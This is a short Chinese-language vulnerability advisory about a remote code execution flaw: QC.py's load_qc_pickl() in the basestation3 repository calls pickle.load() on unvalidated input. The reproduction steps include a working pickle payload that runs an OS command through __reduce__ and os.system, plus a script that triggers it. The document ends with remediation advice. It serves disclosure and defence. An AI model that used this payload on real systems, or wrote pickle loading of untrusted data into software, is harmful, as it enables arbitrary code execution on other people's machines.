### 关键信息总结 #### 漏洞描述 - **漏洞类型**: 远程代码执行 (RCE) - **原因**: 通过在 `load_qc_pickl()` 函数中使用不安全的反序列化 (`pickle.load()`),导致任意代码执行。 #### 影响 - **任意代码执行** - **远程系统妥协**:如果攻击者可以控制 `qc_file` #### 受影响组件 - **文件**: QC.py - **函数**: load_qc_pickl(qc_file) - **问题**: 使用 `pickle.load()` 时未进行输入验证 #### 复现步骤 1. 克隆仓库: `git clone https://github.com/iop-api-uw/basestation3` 2. 导航到 `basestation3` 目录: `cd basestation3` 3. 创建恶意 `qc.pkl` 文件: ```python import pickle import os class Evil: def __reduce__(self): return (os.system, ("gnome-calculator",)) # 替换为任何 OS 命令 payload = pickle.dumps(Evil()) with open("qc.pkl", "wb") as f: f.write(payload) ``` 4. 创建并运行 `exploit.py`: ```python from QC import load_qc_pickl load_qc_pickl("/root/CVE/qc.pkl") ``` #### 建议修复 - 避免使用 `pickle` 加载不受信任的数据。 - 如果必须进行序列化/反序列化,使用安全的替代方案如 `json.load()` 或自定义二进制格式,并进行验证。